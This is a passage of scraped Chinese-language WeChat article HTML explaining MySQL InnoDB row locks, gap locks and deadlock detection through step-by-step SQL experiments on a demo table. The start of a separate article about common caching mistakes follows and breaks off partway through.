读已提交 (READ COMMITTED) </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 可重复读 (REPEATABLE READ) </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 串行化 (SERIALIZABLE) </section></li> </ul> </section> <p style="text-align: left;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4052980132450331" data-s="300,640" src="/upload/9475786bcf544f1badbc6b09d0609fcc.jpg" data-type="jpeg" data-w="755" style=""></p> <p style="text-align: left;"><br></p> <p style="text-align: left;"><strong style="font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;text-align: left;color: rgb(53, 179, 120);letter-spacing: 0.75px;">实验前的准备工作</strong></p> <p style="text-align: left;"><strong style="font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;text-align: left;color: rgb(53, 179, 120);letter-spacing: 0.75px;"><br></strong></p> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>1、基础环境</strong></p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 当前的数据库版本 </section></li> </ul> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/UsichrXlnR9KGXQJ1kzxorvmOhLDcVianMib0JHI1REJE5QBKU8Gv7vOYbiaFVZLolxKX1ewdgTXcmsoeicgwLtj9WHrRd3Reca4y/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">mysql&gt;&nbsp;select&nbsp;version();<br>+-----------+<br>|&nbsp;version()&nbsp;|<br>+-----------+<br>|&nbsp;8.0.27&nbsp;&nbsp;&nbsp;&nbsp;|<br>+-----------+<br>1&nbsp;row&nbsp;<span style="color: #f92672;font-weight: bold;line-height: 26px;">in</span>&nbsp;<span style="color: #a6e22e;line-height: 26px;">set</span>&nbsp;(0.00&nbsp;sec)<br></code></pre> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 当前的事务隔离级别 </section></li> </ul> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/UsichrXlnR9KGXQJ1kzxorvmOhLDcVianMib0JHI1REJE5QBKU8Gv7vOYbiaFVZLolxKX1ewdgTXcmsoeicgwLtj9WHrRd3Reca4y/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">mysql&gt;&nbsp;show&nbsp;variables&nbsp;like&nbsp;<span style="color: #a6e22e;line-height: 26px;">'transaction_isolation'</span>;<br>+-----------------------+-----------------+<br>|&nbsp;Variable_name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;Value&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|<br>+-----------------------+-----------------+<br>|&nbsp;transaction_isolation&nbsp;|&nbsp;REPEATABLE-READ&nbsp;|<br>+-----------------------+-----------------+<br>1&nbsp;row&nbsp;<span style="color: #f92672;font-weight: bold;line-height: 26px;">in</span>&nbsp;<span style="color: #a6e22e;line-height: 26px;">set</span>&nbsp;(0.00&nbsp;sec)<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>2、创建个人收支表,并对 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">income</code> 字段创建索引,<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">expend</code>字段没有索引</strong></p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/UsichrXlnR9KGXQJ1kzxorvmOhLDcVianMib0JHI1REJE5QBKU8Gv7vOYbiaFVZLolxKX1ewdgTXcmsoeicgwLtj9WHrRd3Reca4y/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">CREATE&nbsp;TABLE&nbsp;`person`&nbsp;(<br>&nbsp;&nbsp;`id`&nbsp;bigint(20)&nbsp;unsigned&nbsp;NOT&nbsp;NULL&nbsp;AUTO_INCREMENT&nbsp;COMMENT&nbsp;<span style="color: #a6e22e;line-height: 26px;">'自增主键'</span>,<br>&nbsp;&nbsp;`income`&nbsp;bigint(20)&nbsp;NOT&nbsp;NULL&nbsp;COMMENT&nbsp;<span style="color: #a6e22e;line-height: 26px;">'收入'</span>,<br>&nbsp;&nbsp;`expend`&nbsp;bigint(20)&nbsp;NOT&nbsp;NULL&nbsp;COMMENT&nbsp;<span style="color: #a6e22e;line-height: 26px;">'支出'</span>,<br>&nbsp;&nbsp;PRIMARY&nbsp;KEY&nbsp;(`id`),<br>&nbsp;&nbsp;KEY&nbsp;`idx_income`&nbsp;(`income`)<br>)&nbsp;ENGINE=InnoDB&nbsp;AUTO_INCREMENT=1&nbsp;DEFAULT&nbsp;CHARSET=utf8&nbsp;COMMENT=<span style="color: #a6e22e;line-height: 26px;">'个人收支表'</span>;<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>3、初始化表数据,插入5条记录</strong></p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/UsichrXlnR9KGXQJ1kzxorvmOhLDcVianMib0JHI1REJE5QBKU8Gv7vOYbiaFVZLolxKX1ewdgTXcmsoeicgwLtj9WHrRd3Reca4y/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">insert&nbsp;into&nbsp;person&nbsp;values(100,1000,1000);<br>insert&nbsp;into&nbsp;person&nbsp;values(200,2000,2000);<br>insert&nbsp;into&nbsp;person&nbsp;values(300,3000,3000);<br>insert&nbsp;into&nbsp;person&nbsp;values(400,4000,4000);<br>insert&nbsp;into&nbsp;person&nbsp;values(500,5000,5000);<br></code></pre> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span></h3> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><br></h3> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><strong style="color: rgb(53, 179, 120);letter-spacing: 0.75px;">实验一:(事务A、B的条件字段没有索引)</strong><span style="display: none;"></span></h3> </section> <p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.57265625" data-s="300,640" src="/upload/7e793636123f976cee17933daa692907.jpg" data-type="jpeg" data-w="1280" style=""></p> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong>实验过程:</strong></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了便于描述,我们定义时间轴坐标,用T1、T2、T3... 表示当前时刻。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T1:</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">事务A开启事务,并执行 select * from person where expend=4000 for update;</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">由于 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">expend</code> 字段没有索引,需要扫描全表。此时加的锁是所有记录的行锁和它们之间的间隙锁,也称为 next-key lock,前开后闭区间。分别是 (-∞,100]、(100,200]、(200,300]、(300,400]、(400,500]、(500, +supremum]</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T2:</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">事务B开启事务,执行插入语句 &nbsp;insert into person values(401,4001,4001); <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">此时一直被阻塞住,因为并没有获得锁</code>。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">面的这种情况,有两种选择:一种等到事务A结束(提交或回滚);另一种等事务锁超时。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><span style="color: rgb(61, 167, 66);"><strong>接着这个话题,我们稍微扩展介绍下锁超时:</strong></span></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">MySQL数据库采用InnoDB模式,默认参数:<code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">innodb_lock_wait_timeout</code>设置锁等待的时间是50s,一旦数据库锁超过这个时间就会报错。</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/UsichrXlnR9KGXQJ1kzxorvmOhLDcVianMib0JHI1REJE5QBKU8Gv7vOYbiaFVZLolxKX1ewdgTXcmsoeicgwLtj9WHrRd3Reca4y/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">ERROR&nbsp;1205&nbsp;(HY000):&nbsp;Lock&nbsp;<span style="color: #a6e22e;line-height: 26px;">wait</span>&nbsp;timeout&nbsp;exceeded;&nbsp;try&nbsp;restarting&nbsp;transaction<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当然,我们也可以通过命令来查看、修改这个超时时间</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/UsichrXlnR9KGXQJ1kzxorvmOhLDcVianMib0JHI1REJE5QBKU8Gv7vOYbiaFVZLolxKX1ewdgTXcmsoeicgwLtj9WHrRd3Reca4y/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #75715e;line-height: 26px;">#&nbsp;查看超时时间</span><br>SHOW&nbsp;GLOBAL&nbsp;VARIABLES&nbsp;LIKE&nbsp;<span style="color: #a6e22e;line-height: 26px;">'innodb_lock_wait_timeout'</span>;<br><br><span style="color: #75715e;line-height: 26px;">#&nbsp;修改时间</span><br>SET&nbsp;GLOBAL&nbsp;innodb_lock_wait_timeout=120;<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T3:</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">事务A ,执行 commit 操作, 提交事务</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T4:</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">事务B,插入一条记录,insert into person values(401,4001,4001); 操作成功。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此时 select * from person; 可以看到新插入的记录</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><strong style="font-size: 20px;color: rgb(53, 179, 120);letter-spacing: 0.75px;"></strong></p> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><strong style="color: rgb(53, 179, 120);letter-spacing: 0.75px;">实验二:(事务A、B的条件字段有创建索引)</strong><span style="display: none;"></span></h3> </section> <p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46439957492029754" data-s="300,640" src="/upload/ba67bbb5f562ad7437060a7f94b05c8d.jpg" data-type="jpeg" data-w="941" style=""></p> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <br> </section> <p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.55078125" data-s="300,640" src="/upload/82ce4a60c29a38fabd444d95a69df72b.jpg" data-type="jpeg" data-w="1280" style=""></p> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <br> </section> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T1:</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">事务A,开启事务,并执行 &nbsp;select * from person where income=3000 for update,命中记录且 income 有索引,此时的加锁区间是 income=3000 的行记录以及与下一个值4000之间的空隙(行锁+间隙锁),也就是[3000,4000]</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T2:</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">事务B,开始事务,执行 &nbsp;insert into person values(301,3001,3001); 没有抢到锁,线程被阻塞住,直到事务A提交事务并释放锁。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br></p> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><strong style="color: rgb(53, 179, 120);letter-spacing: 0.75px;">实验三:(自动识别死锁)</strong><span style="display: none;"></span></h3> </section> <p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8539741219963032" data-s="300,640" src="/upload/35b4b3c6204c501b5e2fb317c0266247.jpg" data-type="jpeg" data-w="541" style=""></p> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <br> </section> <p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.71640625" data-s="300,640" src="/upload/a32afbeb8c104fbb71a85f6b6620fd6c.jpg" data-type="jpeg" data-w="1280" style=""></p> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <br> </section> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">特别说明:</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T3:事务A执行insert操作,被事务B的锁拦截住了</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T4:同理,事务B执行insert操作,被事务A拦截了,这里被系统自动检测到,抛出 ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction 。将事务B持有的锁释放掉,并重启事务。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">T5:事务A在T3时刻的insert可以继续操作</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br></p> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><strong style="color: rgb(53, 179, 120);letter-spacing: 0.75px;">实验四:(更新记录锁保护)</strong><span style="display: none;"></span></h3> </section> <p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34410844629822734" data-s="300,640" src="/upload/d532f1725123e5779bc7e80a680461ae.jpg" data-type="jpeg" data-w="959" style=""></p> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;"> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">1、事务A在执行后 update person set income=111 where &nbsp;income=3000; 开启了锁保护</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">2、这时,事务B再执行 &nbsp;insert into person values(307,3000,3000) 或者 &nbsp;update person set income=3000 where id=100,都会重新去抢夺锁,从而保证安全。</p> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><strong style="color: rgb(53, 179, 120);letter-spacing: 0.75px;">知识小结</strong><span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">1、对于事务,binlog 日志是在 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">commit</code> 提交时才生成的</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">2、行锁与间隙锁有很大区别。</p> <ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 行锁:如果事务A对 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">id=1</code> 添加行锁,事务B则无法对 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">id=1</code> 添加行锁 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> 间隙锁:如果 <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">select .. from 表名 where d=6 for updata</code>,事务A 和 事务 B 都可以对(5,12)添加间隙锁。间隙锁是开区间。 </section></li> </ul> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">3、行锁和间隙锁合称 next-key lock,每个 next-key lock 是前开后闭区间。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">4、<strong>只有在可重复读的隔离级别下,才会有间隙锁</strong></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">5、读提交级别没有间隙锁,只有行锁,但是如何保证一个间隙操作产生的 binlog 对主从数据同步产生的影响呢?我们需要把 binlog 的格式设置为 row。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">其本质就是将模糊操作改成了针对具体的主键id行操作</p> <pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/UsichrXlnR9KGXQJ1kzxorvmOhLDcVianMib0JHI1REJE5QBKU8Gv7vOYbiaFVZLolxKX1ewdgTXcmsoeicgwLtj9WHrRd3Reca4y/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #75715e;line-height: 26px;">#&nbsp;初始语句</span><br>delete&nbsp;from&nbsp;order&nbsp;<span style="color: #a6e22e;line-height: 26px;">where</span>&nbsp;c&nbsp;=&nbsp;10<br><br><span style="color: #75715e;line-height: 26px;">#&nbsp;转换后语句</span><br>delete&nbsp;from&nbsp;order&nbsp;<span style="color: #a6e22e;line-height: 26px;">where</span>&nbsp;id&nbsp;=&nbsp;10<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">6、大部分公司的数据库的隔离级别都是<strong>读提交隔离级别加 binlog_format=row 的组合</strong></p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">7、 大多数数据库的默认级别就是读提交(Read committed),比如Sql Server 、 Oracle。MySQL的默认级别是 可重复读(Repeatable Read )</p> </section> <section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 10px;letter-spacing: 0px;white-space: normal;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &quot;PingFang SC&quot;, Cambria, Cochin, Georgia, Times, &quot;Times New Roman&quot;, serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);word-spacing: 1px;line-height: 1.6;word-break: break-word;"> <section> <section class="mp_profile_iframe_wrp"> <mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NzYyNjQzNg==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/2KTof9YshwdmOC0H6kaQlnh3rvWF2hPpzBoAoibbfQkhLdXfEpQgd8frHoDJDH503rv3FaMK6las2rCNQY7icr6w/0?wx_fmt=png" data-nickname="微观技术" data-alias="weiguanjishu" data-signature="前阿里P7技术专家,研究生,出过专利。负责过电商交易、社区团购、流量营销等业务。分享后端架构技能、一线大厂面试经验、团队管理等话题。欢迎关注" data-from="0"></mpprofile> </section> </section> </section>

缓存,原来我们一直都用错了!

作者:微信小助手

<section style="line-height: 1.75em;" data-mpa-powered-by="yiban.io"> <span style="font-size: 15px;letter-spacing: 1px;">缓存,是互联网分层架构中,非常重要的一个部分,通常用它来<span style="color: rgb(255, 76, 0);">降低数据库压力,提升系统整体性能,缩短访问时间</span>。</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">有架构师说“缓存是万金油,哪里有问题,加个缓存,就能优化”,缓存的滥用,可能会导致一些错误用法。</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;">4类缓存常见误用,你中招了吗?</span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><br></span> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 1px;"><strong>误用一:把缓存作为服务与服务之间传递数据的媒介。</strong></span> </section> <section style="line-height: 1.75em;"> <img class="rich_pages wxw-img" data-copyright="0" data-ratio="0.38362068965517243" data-s="300,640" src="/upload/3c2510e56904c99acc72311f46ea3fe0.png" data-type="png" data-w="232" style=""> </section> <section style="line-height: 1.75em;"> <span style="font-size: 15px;letter-spacing: 